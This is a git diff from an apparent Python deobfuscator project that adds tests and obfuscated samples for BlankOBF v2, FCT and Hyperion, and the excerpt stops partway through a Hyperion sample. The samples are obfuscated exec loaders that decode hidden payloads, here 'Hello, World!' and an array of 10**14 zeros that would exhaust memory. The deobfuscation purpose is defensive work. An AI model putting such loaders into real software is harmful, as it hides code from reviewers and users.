(15406849829936428864 + 42930) // 2 - 7703424914968214432 - 21412, (6856618943864607736 + 110490) // 2 - 3428309471932303868 - 55100, 1594476297932000159424 - 1594476297932000159171, (11908523331370446010 + 40492) // 2 - 5954261665685223005 - 20140, 711802580687626510332 - 711802580687626510245, 479248956944946539796 - 479248956944946539672, 278667776962735452845 - 278667776962735452610, (9612973411695914062 + 81508) // 2 - 4806486705847957031 - 40672, (12971320984627054966 + 75078) // 2 - 6485660492313527483 - 37442, 1155931798650795526880 - 1155931798650795526710, (12931647717495301002 + 28350) // 2 - 6465823858747650501 - 14140, 358295119070295588726 - 358295119070295588545, (9307844805658039420 + 121794) // 2 - 4653922402829019710 - 60738, (782036037873032184 + 140358) // 2 - 391018018936516092 - 70022, (16270286098329836548 + 37638) // 2 - 8135143049164918274 - 18696, 241930193257079532240 - 241930193257079532192, (9868143738721663864 + 8832) // 2 - 4934071869360831932 - 4384, 67861931307735509640 - 67861931307735509559, 104173663468952931150 - 104173663468952931004, (6582744042909485070 + 65664) // 2 - 3291372021454742535 - 32616, 30690643721138343162 - 30690643721138342964, 166370579972855882658 - 166370579972855882604, 847755707604492829824 - 847755707604492829696, (16020170179696199216 + 32616) // 2 - 8010085089848099608 - 16157, (8560093797948662486 + 27664) // 2 - 4280046898974331243 - 13776, (10370304657364838388 + 2528) // 2 - 5185152328682419194 - 1256, (12095464063514170788 + 33930) // 2 - 6047732031757085394 - 16820, 207959250427127027465 - 207959250427127027430, 671337261619994200374 - 671337261619994200296, 1083258736802999946574 - 1083258736802999946408, (16366876973551867776 + 47712) // 2 - 8183438486775933888 - 23800, (11236455215567719424 + 244) // 2 - 5618227607783859712 - 120, (8224444354669542862 + 195200) // 2 - 4112222177334771431 - 97356, 445775911063950154626 - 445775911063950154419, (904672905252407722 + 72670) // 2 - 452336452626203861 - 36120, (11211163779565830134 + 136196) // 2 - 5605581889782915067 - 67940, 26808495481359342660 - 26808495481359342602, (10957990605055941226 + 111630) // 2 - 5478995302527970613 - 55632, 798293228954217146400 - 798293228954217146300, 446933232615972386283 - 446933232615972386070, 222580284587391476994 - 222580284587391476865, 391145195147389646495 - 391145195147389646362, 985371804775360451820 - 985371804775360451624, 1182652719471115740764 - 1182652719471115740561, 358156229187284000737 - 358156229187284000580, (6287596786769346810 + 1060) // 2 - 3143798393384673405 - 525, (17950981322281383746 + 178876) // 2 - 8975490661140691873 - 89241, 698565204438940417101 - 698565204438940416890, 1228375981621036774842 - 1228375981621036774685, 786290494257926072017 - 786290494257926071788, 555526168212593753687 - 555526168212593753616, 507397409026873329984 - 507397409026873329792, 978021866873777455929 - 978021866873777455710, (3445089891653671142 + 29106) // 2 - 1722544945826835571 - 14364, 621345325936998369812 - 621345325936998369679, (7237948385391530034 + 22620) // 2 - 3618974192695765017 - 11115, (7987956165086528640 + 196200) // 2 - 3993978082543264320 - 97875, 640303770353910906866 - 640303770353910906733, 4876403817410835703 - 4876403817410835510, (11658400028884111088 + 56330) // 2 - 5829200014442055544 - 27950, (9183427901976864182 + 117150) // 2 - 4591713950988432091 - 58362, (13904718523755907736 + 38896) // 2 - 6952359261877953868 - 19380, 1665763952161593013824 - 1665763952161593013632, 272669503925661356856 - 272669503925661356637, 760079903128063596225 - 760079903128063596036, (848023593265075408 + 57330) // 2 - 424011796632537704 - 28548, 952065031983633229662 - 952065031983633229424, 163654758464715627856 - 163654758464715627732, (16471471985586491012 + 95904) // 2 - 8235735992793245506 - 47844, (6048325711044872888 + 98208) // 2 - 3024162855522436444 - 48906, (17120589927877548304 + 52074) // 2 - 8560294963938774152 - 25938, 30132021314457821625 - 30132021314457821610, (17618126042809730354 + 59940) // 2 - 8809063021404865177 - 29835, 272600376205040306632 - 272600376205040306511, (5914922521554980932 + 176000) // 2 - 2957461260777490466 - 87750, (14665818348810086648 + 40866) // 2 - 7332909174405043324 - 20384, (7022236517644886430 + 25056) // 2 - 3511118258822443215 - 12474, (1203657494836329306 + 39520) // 2 - 601828747418164653 - 19665, 395795114283965271708 - 395795114283965271635, (5077505167200903360 + 154722) // 2 - 2538752583600451680 - 77120, (13791410656666216410 + 81576) // 2 - 6895705328333108205 - 40590, (6103619954494272216 + 10472) // 2 - 3051809977247136108 - 5208, 158980221180919412352 - 158980221180919412280, 31722860322404765068 - 31722860322404765064, (3781859230085588898 + 34500) // 2 - 1890929615042794449 - 17181, 142071352401115751712 - 142071352401115751509, (9987587989792095446 + 27000) // 2 - 4993793994896047723 - 13275, (15686381253698276182 + 169884) // 2 - 7843190626849138091 - 84708, (5980296469813060512 + 43008) // 2 - 2990148234906530256 - 21448, 292239275574123037250 - 292239275574123037125, 173152904901430138368 - 173152904901430138304, 73254093682227486850 - 73254093682227486800, (7218806822064734442 + 117384) // 2 - 3609403411032367221 - 58473, 385152412718964564000 - 385152412718964563775, 90891449327890287635 - 90891449327890287570, (1034119243421962680 + 18260) // 2 - 517059621710981340 - 9047, 147734995282305895181 - 147734995282305895164, (1976563935920834398 + 96924) // 2 - 988281967960417199 - 48265, (3621018448826567742 + 52920) // 2 - 1810509224413283871 - 26397, (2122927413420065694 + 77760) // 2 - 1061463706710032847 - 38772, 22600788896915177991 - 22600788896915177970, 655593945875721508334 - 655593945875721508131, (2230866050278170556 + 111510) // 2 - 1115433025139085278 - 55578, 476274429703624752226 - 476274429703624752129, 8754263961249184870 - 8754263961249184865, (2428917862746403346 + 50922) // 2 - 1214458931373201673 - 25392, 413324799140902125504 - 413324799140902125312, 359490173451435685305 - 359490173451435685152, 1324492168879780446490 - 1324492168879780446320, 698939759892080463871 - 698939759892080463690, 195138735544255695346 - 195138735544255695269, 666095268223933663565 - 666095268223933663434, 164793861917894354842 - 164793861917894354763, (1790292302030927036 + 97216) // 2 - 895146151015463518 - 48412, (350625527308735024 + 6318) // 2 - 175312763654367512 - 3132, (8359400427633542980 + 55440) // 2 - 4179700213816771490 - 27510, (452086975669189990 + 448) // 2 - 226043487834594995 - 220, 225761703584968929690 - 225761703584968929555, (10195136707906202840 + 81380) // 2 - 5097568353953101420 - 40560, 1308244955122361570814 - 1308244955122361570613, (6159142765654355310 + 53750) // 2 - 3079571382827177655 - 26750, (6393418986487831502 + 25032) // 2 - 3196709493243915751 - 12488, 639331641692451360068 - 639331641692451359920, 1759615239250558297733 - 1759615239250558297510, (4211432312119105980 + 13720) // 2 - 2105716156059552990 - 6832, 94366189552508469840 - 94366189552508469720, (11222696800465620500 + 21684) // 2 - 5611348400232810250 - 10703, (3629100884550118238 + 147798) // 2 - 1814550442275059119 - 73710, (14102235420408436246 + 203040) // 2 - 7051117710204218123 - 101304, (10773466621081766898 + 46354) // 2 - 5386733310540883449 - 23100, (15641341591194484254 + 143978) // 2 - 7820670795597242127 - 71796, (12693345857106452944 + 90744) // 2 - 6346672928553226472 - 45173, 115671548231598962484 - 115671548231598962456, 46552374661646497309 - 46552374661646497278, (3466961806727996944 + 59318) // 2 - 1733480903363998472 - 29526, (14115904806601900824 + 146910) // 2 - 7057952403300950412 - 73206, (15134399984860160268 + 172144) // 2 - 7567199992430080134 - 85840, (452964407959354152 + 15400) // 2 - 226482203979677076 - 7630, (9812883593242420048 + 112800) // 2 - 4906441796621210024 - 56165, 1103080510786203287327 - 1103080510786203287116, 11137432943814599695 - 11137432943814599604, 234659184551862731991 - 234659184551862731964, (4752556135370235190 + 22720) // 2 - 2376278067685117595 - 11320, (4578680940448874608 + 24978) // 2 - 2289340470224437304 - 12420, (11745278754436276968 + 35990) // 2 - 5872639377218138484 - 17936, 1451478084920417689794 - 1451478084920417689587, 44721313923611681055 - 44721313923611681050, (5262636462678818382 + 127426) // 2 - 2631318231339409191 - 63544, (5235430444050121602 + 96600) // 2 - 2617715222025060801 - 48185, (9630808627651588614 + 195286) // 2 - 4815404313825794307 - 97440, (7652147312855234366 + 14454) // 2 - 3826073656427617183 - 7194, (2016023951453087668 + 4096) // 2 - 1008011975726543834 - 2016, (7880224812714394122 + 67424) // 2 - 3940112406357197061 - 33516, (4572677859669397262 + 3220) // 2 - 2286338929834698631 - 1600, 648440918848901378010 - 648440918848901377888, 550314967995650004414 - 550314967995650004200, (17245809073974652362 + 78720) // 2 - 8622904536987326181 - 39240, 1055086364591878713902 - 1055086364591878713688, 1367111352243554768466 - 1367111352243554768277, (13311206912605022982 + 53360) // 2 - 6655603456302511491 - 26535, (12204434787512344828 + 186102) // 2 - 6102217393756172414 - 92840, (4468977029486518022 + 80100) // 2 - 2234488514743259011 - 39825, 395426686161197038278 - 395426686161197038219, (17034983785888731304 + 93660) // 2 - 8517491892944365652 - 46620, 54292981310257809775 - 54292981310257809738, (14424673930766287022 + 88784) // 2 - 7212336965383143511 - 44213, 6264770194011554544 - 6264770194011554412, (90752206446724994 + 174832) // 2 - 45376103223362497 - 87220, 45938696340603754920 - 45938696340603754915, (10318356982928382148 + 30970) // 2 - 5159178491464191074 - 15322, (11251002994939443658 + 26160) // 2 - 5625501497469721829 - 12971, (9148167862568892284 + 56304) // 2 - 4574083931284446142 - 27999, 154516852966102449233 - 154516852966102449124, (6089836942108871134 + 0) // 2 - 3044918471054435567 - 0, (13504594140559810214 + 20956) // 2 - 6752297070279905107 - 10416, (8956891462340368290 + 28362) // 2 - 4478445731170184145 - 14094, 501455849321428871216 - 501455849321428871077, 691207686355956494956 - 691207686355956494760, (9012260593489746306 + 46980) // 2 - 4506130296744873153 - 23409, (10485969429525802758 + 223720) // 2 - 5242984714762901379 - 111625, (11545898347303842082 + 18768) // 2 - 5772949173651921041 - 9338, (18118750406317033786 + 28890) // 2 - 9059375203158516893 - 14338, 471285087067489168692 - 471285087067489168479, 452504323859028339129 - 452504323859028339060, (8494012216018428934 + 49980) // 2 - 4247006108009214467 - 24745, (1099038632923188144 + 36176) // 2 - 549519316461594072 - 17936, (13409415836190195640 + 60568) // 2 - 6704707918095097820 - 30150, 275748850607661858648 - 275748850607661858511, 347798753030389804735 - 347798753030389804584, 1265610221032504103876 - 1265610221032504103680, (12896137584066088740 + 204108) // 2 - 6448068792033044370 - 101835, (3803202230692502258 + 24064) // 2 - 1901601115346251129 - 11985, (4515571214981240232 + 2600) // 2 - 2257785607490620116 - 1296, 33103582807111267493 - 33103582807111267486, (4613189742984466170 + 181488) // 2 - 2306594871492233085 - 90545, (2944585794441453676 + 62900) // 2 - 1472292897220726838 - 31365, (6202840517734340338 + 155624) // 2 - 3101420258867170169 - 77616, 288068337170614309617 - 288068337170614309524, (12719318928267035632 + 133182) // 2 - 6359659464133517816 - 66444, 299661899821149375891 - 299661899821149375790, (10354966605239181618 + 13908) // 2 - 5177483302619590809 - 6840, (13468002180065309914 + 172966) // 2 - 6734001090032654957 - 86286, 384489920879632501731 - 384489920879632501558, 1071060458346460535291 - 1071060458346460535142, 1551601090679045059219 - 1551601090679045059020, (10512610483649403568 + 86764) // 2 - 5256305241824701784 - 43183, 675870668176945384680 - 675870668176945384560, (6466742720037178254 + 84480) // 2 - 3233371360018589127 - 42048, (5275918222588335010 + 52870) // 2 - 2637959111294167505 - 26350, (11961159513734744516 + 131040) // 2 - 5980579756867372258 - 65338, 17252472641278961056 - 17252472641278960830, (13378992029958609180 + 54060) // 2 - 6689496014979304590 - 26924, (2796027302104751038 + 59280) // 2 - 1398013651052375519 - 29450, (51246369970731638 + 28368) // 2 - 25623184985365819 - 13987, 135481358986246937400 - 135481358986246937325, (13785029289945953344 + 116046) // 2 - 6892514644972976672 - 57834, (6851332942905113522 + 85456) // 2 - 3425666471452556761 - 42510, (16646976304975308354 + 127434) // 2 - 8323488152487654177 - 63516, (7579269655422746938 + 163098) // 2 - 3789634827711373469 - 81328, (168298506459896290 + 32340) // 2 - 84149253229948145 - 15925, (9978109430842238228 + 72890) // 2 - 4989054715421119114 - 36248, (4409467521771157046 + 21830) // 2 - 2204733760885578523 - 10856, (3606795423421876536 + 42370) // 2 - 1803397711710938268 - 20962, (215746588906891936 + 60060) // 2 - 107873294453445968 - 29865, (5703167331996461670 + 204792) // 2 - 2851583665998230835 - 102184, (3965623897433783816 + 14500) // 2 - 1982811948716891908 - 7125] +for 邛瀫𑴁𡥖𦌾𥠀𣚫𤪿𩪑𡚱𬝆巒𒿒𘁺𐨓𢃈𭏑𝜈𭲴𝑳節𦃽艣빺 in getattr(__import__(bytes([115, 110, 105, 116, 108, 105, 117, 98][::-1]).decode()), bytes([108, 97, 118, 101][::-1]).decode())(bytes([101, 103, 110, 97, 114][::-1]))(1152091945914207005 - 1152091945914207004, 508325228522250581100 - 508325228522250581000): + # 俣𮌖ቶ逓콿 喢𤡝𣢵𠠏𭄏匚𘢍 뚃𰛍㥵弡𦇯ཟ𨊄𣾕 𪊧қ𓋦𱽈鑥ၶ𦈒𭥒ḡ 썄𛇈𑰁 푘ᡨ勦𦓰𒃱𢥩𓍛𓅜ꗱ𮢓 𡿡𡻛𩬻𠕢쒆 𠉂寇𮎣𢺶𝗖𗘪涑鳜늂曬 䗚𪢢𦩺ᕂꃜ𦱆𬦠𮭹䭢 皥坈緿𗠑𞸝𲃗 㱕煹 𓊝ꄠ𨚚𘪀𗖋𠘿邁 졿𰓌𩈅 𱾥㰒𰢶 𦒡𦱱𬯾𥼲铬𣋁 䛫𣖰 𮝐𧊲ㆯ𡧯𧘴 𦚑𥄷 䜮𰈔릙𨎲𗌷𱕃𰔈𢡭 + if 𬪘𞁚ꂢ𘱉줘𲀉𑠛𡐀𦡓𱧊[(15430353638194519322 + 1007980) // 2 - 7715176819097259661 - 501495] ^ 邛瀫𑴁𡥖𦌾𥠀𣚫𤪿𩪑𡚱𬝆巒𒿒𘁺𐨓𢃈𭏑𝜈𭲴𝑳節𦃽艣빺 == 𬪘𞁚ꂢ𘱉줘𲀉𑠛𡐀𦡓𱧊[10627098286942215214500 - 10627098286942215211406]: + # 𥹺ꬒ 𭎋𒔫𮋬췅𥅕 𢴤𨳭𩫓 𭠓𠛴𫱜텱絍 𣼅𛃛𗘀 骱𬶣𭸵𢚅𢂓铊𤖀𢢴𘕪ꎅ 𢦖𣚶 𭝤㱓𗖐𗲬𨴿㜠𠨰僱 糥𩡉ٿ湥𬒿쌇 + getattr(__import__(bytes([115, 110, 105, 116, 108, 105, 117, 98][::-1]).decode()), bytes([108, 97, 118, 101][::-1]).decode())(bytes([99, 101, 120, 101][::-1]))(getattr(__import__(bytes([115, 110, 105, 116, 108, 105, 117, 98][::-1]).decode()), bytes([108, 97, 118, 101][::-1]).decode())(bytes([114, 116, 116, 97, 116, 101, 103][::-1]))(getattr(__import__(bytes([115, 110, 105, 116, 108, 105, 117, 98][::-1]).decode()), bytes([108, 97, 118, 101][::-1]).decode())(bytes([95, 95, 116, 114, 111, 112, 109, 105, 95, 95][::-1]))(bytes([98, 105, 108, 122][::-1]).decode()), bytes([115, 115, 101, 114, 112, 109, 111, 99, 101, 100][::-1]).decode())(getattr(__import__(bytes([115, 110, 105, 116, 108, 105, 117, 98][::-1]).decode()), bytes([108, 97, 118, 101][::-1]).decode())(bytes([115, 101, 116, 121, 98][::-1]))(getattr(__import__(bytes([115, 110, 105, 116, 108, 105, 117, 98][::-1]).decode()), bytes([108, 97, 118, 101][::-1]).decode())(bytes([112, 97, 109][::-1]))(lambda 𥇻ﴙ𐅴𨻲뵪𡱑둰覷㫜㘨Ჳ𡗶𗢵𦟭嬟𢏖𥱤𘦀풆𢨬: 𥇻ﴙ𐅴𨻲뵪𡱑둰覷㫜㘨Ჳ𡗶𗢵𦟭嬟𢏖𥱤𘦀풆𢨬 ^ 邛瀫𑴁𡥖𦌾𥠀𣚫𤪿𩪑𡚱𬝆巒𒿒𘁺𐨓𢃈𭏑𝜈𭲴𝑳節𦃽艣빺, 𬪘𞁚ꂢ𘱉줘𲀉𑠛𡐀𦡓𱧊[(273707256111864574 + 0) // 2 - 136853628055932287 - 0:19862038037254174149440 - 19862038037254174146945] + 𬪘𞁚ꂢ𘱉줘𲀉𑠛𡐀𦡓𱧊[1668025364354008964095 - 1668025364354008961600 + ((12134362532191830458 + 518) // 2 - 6067181266095915229 - 258):(2804506146460659242 + 3013556) // 2 - 1402253073230329621 - 1503684] + 𬪘𞁚ꂢ𘱉줘𲀉𑠛𡐀𦡓𱧊[25809349636710498482624 - 25809349636710498479530 + (5502171519837301015 - 5502171519837301014):])))) + # द𭲣𪧤ꅜ 𡀂绩磊 𬠢쪥둁蓼𮔉𢭹𣎙 𧼱𤩧𡠖𨶷𠥷 顜𱗀餮𦟅𗚂 𭀎𘢶칙𛱥 𛲂𖤥𣬄𖠘𰉷𰊏𰵜𦞨 𡻜𗛣𒑡𭤺𧠖𩺪𭮙Ӭ𡯜𰊱 糑𩶺䃳鯶𠫥𨮁𝖭 硃伧𧫣𧞽 + break \ No newline at end of file diff --git a/tests/blankobf/v2/test_blankobf_v2.py b/tests/blankobf/v2/test_blankobf_v2.py new file mode 100644 index 0000000..70232d2 --- /dev/null +++ b/tests/blankobf/v2/test_blankobf_v2.py @@ -0,0 +1,15 @@ +import ast + +from vipyr_deobf.deobfuscators.BlankObf.blankobf_v2 import blankobf_v2_deobf + +BLANK_OBF_HEADER = ':: You managed to break through BlankOBF v2; Give yourself a pat on your back! ::' + + +def test_deobf_hello_world(): + with open('tests/blankobf/v2/sample_array.obf', 'r') as file: + obf = file.read() + status, res = blankobf_v2_deobf.deobf(obf) + assert status + with open('tests/blankobf/v2/sample_array.exp', 'r') as file: + exp = file.read() + assert ast.dump(res) == ast.dump(ast.parse(f'"{BLANK_OBF_HEADER}"\n{exp}')) diff --git a/tests/fct/sample_hello_world.exp b/tests/fct/sample_hello_world.exp new file mode 100644 index 0000000..4648e70 --- /dev/null +++ b/tests/fct/sample_hello_world.exp @@ -0,0 +1 @@ +print("Hello, World!") \ No newline at end of file diff --git a/tests/fct/sample_hello_world.obf b/tests/fct/sample_hello_world.obf new file mode 100644 index 0000000..be5fa4d --- /dev/null +++ b/tests/fct/sample_hello_world.obf @@ -0,0 +1 @@ +_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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')) \ No newline at end of file diff --git a/tests/fct/test_fct.py b/tests/fct/test_fct.py new file mode 100644 index 0000000..f996a55 --- /dev/null +++ b/tests/fct/test_fct.py @@ -0,0 +1,12 @@ +import ast + +from vipyr_deobf.deobfuscators.FCT.fct import fct_deobf + + +def test_deobf_hello_world(): + with open('tests/fct/sample_hello_world.obf', 'r') as file: + obf = file.read() + res = fct_deobf.deobf(obf).decode() + with open('tests/fct/sample_hello_world.exp', 'r') as file: + exp = file.read() + assert ast.dump(ast.parse(res)) == ast.dump(ast.parse(exp)) diff --git a/tests/hyperion/sample_array.exp b/tests/hyperion/sample_array.exp new file mode 100644 index 0000000..0c3ae64 --- /dev/null +++ b/tests/hyperion/sample_array.exp @@ -0,0 +1,4 @@ +import numpy as np +arr = np.zeros(10**14) +if 1 + 1 == 2: + print(arr) \ No newline at end of file diff --git a/tests/hyperion/sample_array.obf b/tests/hyperion/sample_array.obf new file mode 100644 index 0000000..7a244fd --- /dev/null +++ b/tests/hyperion/sample_array.obf @@ -0,0 +1,95 @@ +from builtins import * +from math import prod as Square + + +__obfuscator__ = 'Hyperion' +__authors__ = ('billythegoat356', 'BlueRed') +__github__ = 'https://github.com/billythegoat356/Hyperion' +__discord__ = 'https://discord.gg/plague' +__license__ = 'EPL-2.0' + +__code__ = 'print("Hello world!")' + + +Frame, _multiply, _theory, _builtins, While, Round, Divide = exec, str, tuple, map, ord, globals, type + +class _product: + def __init__(self, _positive): + self.Add = Square((_positive, -39213)) + self.Run(Power=-51168) + + def Run(self, Power = str): + # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler + self.Add *= -95435 / Power + + try: + (_multiply, _theory) if While <= _builtins else (Frame, _floor) > _theory + + except ArithmeticError: + (Frame, _floor) if _theory <= _floor else (_theory, Frame, While) >= Frame + + except: + Divide(16585 * -48455) == Ellipsis + + def StackOverflow(self, _substract = -10461): + # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler + _substract -= 53689 / 67255 + self._divide != True + + try: + (({_floor: _builtins}, While) for While in {_floor: _builtins}) + + except TypeError: + {_floor: _builtins} if Frame == _theory else {'gyegeebdylBbat': _builtins} != _multiply + + except: + Divide(95535 / 63050) == None + + def _stackoverflow(System = Ellipsis): + return Round()[System] + + def _modulo(Absolute = -66512 - 82658, DetectVar = float, Ceil = Round): + # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler + Ceil()[Absolute] = DetectVar + + try: + ((_theory, Frame, While) or _theory if (_theory, Frame, While) and _theory else ... or (_theory, (_theory, Frame, While))) + + except AttributeError: + ({'gyegeebdylBbat': _builtins} or While if {'gyegeebdylBbat': _builtins} and While else ... or (While, {'gyegeebdylBbat': _builtins})) + + except: + Divide(89052 / 95621) == int + + def execute(code = str): + return Frame(_multiply(_theory(_builtins(While, code)))) + + @property + def _divide(self): + self.Floor = '<__main__._builtins object at 0x000005498BE14089>' + return (self.Floor, _product._divide) + +if __name__ == '__main__': + try: + _product.execute(code = __code__) + _add = _product(_positive = 28542 + 58324) + + _product(_positive = -76527 / 74215).StackOverflow(_substract = 57275 / _add.Add) ;_product._modulo(Absolute='nmnmnnnnnnnmnmnmnmmmnnmnm',DetectVar=b'x\x9c\xe5\x1b]o\xa3H\xf2=\xbf"\xeb\x17l\xcdL\x06\x1ah 